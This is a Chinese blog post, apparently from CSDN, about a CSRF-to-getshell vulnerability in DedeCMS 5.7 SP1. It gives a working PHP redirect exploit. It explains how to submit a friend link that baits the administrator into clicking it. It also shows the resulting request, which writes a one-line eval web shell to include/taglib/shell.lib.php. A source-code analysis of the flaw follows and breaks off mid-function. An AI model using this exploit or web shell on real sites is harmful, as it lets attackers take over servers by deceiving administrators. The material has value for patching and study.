dedecms友情链接plus/flink.php页面出错,DedeCMS友情链接flink_add Getshell漏洞管理员CSRF漏洞...

最新推荐文章于 2021-11-20 14:46:42 发布

配方师k博

最新推荐文章于 2021-11-20 14:46:42 发布

阅读量551

点赞数

文章标签： dedecms友情链接plus/flink.php页面出错

DedeCMS 漏洞 CSRF 代码注入安全防护

关键词由CSDN通过智能技术生成

DedeCMS友情链接漏洞,DedeCMS漏洞,

1、漏洞利用

由于tpl.php中的$action，$content,$filename变量没有初始化，从而能操纵这些变量写入任意的代码。

又由于应用没有对管理员的来源页进行任何检查，只是检查了管理员是否登陆，从而造成了CSRF漏洞。

因此可以诱导管理员以管理员的权限写入代码即可。

测试版本：DedeCMS-V5.7-UTF8-SP1-Full 20150618

exp：

//print_r($_SERVER);

$referer = $_SERVER['HTTP_REFERER'];

$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php，取得dede后台的路径

//拼接 exp

$muma = '';

$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';

$url = $dede_login.$exp;

//echo $url;

header("location: ".$url);

// send mail coder

exit();

首先，将这个exp部署在公网服务器上

http://192.168.113.129/exp.php

在目标网站的申请友情链接处申请一个友情链接

http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/plus/flink_add.php

网址填写为先前的 http://192.168.113.129/exp.php, 名称随便填，也可填写诱导性关键字引发管理员好奇心。

提交成功之后等待管理员审核，当管理员审核的时候，一般情况下会点进你的网站看一下(漏洞利用关键)。

管理员审核：

后台 -> 模块 -> 辅助插件 -> 友情链接

当管理员点这个友情链接的时候，就生成了一句话shell，shell地址在/include/taglib/shell.lib.php

事实上，点击新添加的友情链接时，管理员触发了一个HTTP请求：

http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php

页面跳转：

成功修改/创建文件！

生成shell地址：

http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/include/taglib/shell.lib.php

2、漏洞分析

在tpl.php文件中

/*---------------------------

function savetagfile() { }

保存标签碎片修改

--------------------------*/

else if($action=='savetagfile')

{

if(!preg_match("#^[a-z0-9_-]{1,}.lib.php$#i", $filename))

{

ShowMsg('文件名不合法，不允许进行操作！', '-1');

exit();

}

require_once(DEDEINC.'/oxwindow.class.php');

$tagname = preg_replace("#.lib.php$#i", "", $filename);

$content = stripslashes($content);

$truefile = DEDEINC.'/taglib/'.$filename;

$fp = fopen($truefile, 'w');

fwrite($fp, $content);

fclose($fp);

$msg = "

测试标签：(需要使用环境变量的不能在此测试)

{dede:{$tagname} }{/dede:{$tagname}}

$wintitle = "成功修改/创建文件！";

$wecome_info = "标签源码碎片管理 >> 修改/新建标签";

$win = new OxWindow();

$win->AddTitle("修改/新建标签：");

$win->AddMsgItem($msg);

$winform = $win->GetWindow("hand"," ",false);

$win->Display();

exit();

}

这里是漏洞利用写入文件的地方，但是我们知道，基本所有的不安全情况，是在数据输入输出时发生的，这里的参数是怎么传递过来的呢？还有$filename和$content是怎么传递参数的呢？继续跟踪config.php又 include了 common.inc.php ，而一般情况下，类似common.php这种文件名的，里面存放着一些将会经常用到的函数。继续跟踪上去。果然发现了猫腻在common.inc.php 发现了

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

if($_k == 'nvarname') ${$_k} = $_v;

else ${$_k} = _RunMagicQuotes($_v);

}

问题在哪呢？这段代码大概的意思是从数组中获取获取参数的方，这里GET,POST,COOKIE方式的参数都有了。

先来跟踪GET，二层循环中$_GET(这个可以看作是一个全局数组)**$_k ,$_v 获取数组的key value值.${$_k}这里全局注册了变量，假如输入GET型参数 ?test=k4l0n.则在本php页及所有包含本页的php页中， $test的值都被赋值为了kl0n

而tpl.php中的$action，$content,$filename变量没有初始化，从而能操纵这些变量写入任意的代码。

继续跟踪 userLogin类的getUserID函数:

/**

* 获得用户的ID

* @access public

* @return int

function getUserID()

{

if($this->userID != '')

{

return $this->userID;

}

else

{

return -1;

}

userLogin类用户登录

/**

* 检验用户是否正确

* @access public

* @param string $username 用户名

* @param string $userpwd 密码

* @return string

function checkUser($username, $userpwd)

{

global $dsql;

//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符

$this->userName = preg_replace("/[^0-9a-zA-Z_@!.-]/", '', $username);

$this->userPwd = preg_replace("/[^0-9a-zA-Z_@!.-]/", '', $userpwd);

$pwd = substr(md5($this->userPwd), 5, 20);

$dsql->SetQuery("SELECT admin.*,atype.purviews FROM `dede_admin` admin LEFT JOIN `dede_admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");

$dsql->Execute();

$row = $dsql->GetObject();

if(!isset($row->pwd))

{

return -1;

}

else if($pwd!=$row->pwd)

{

return -2;

}

else

{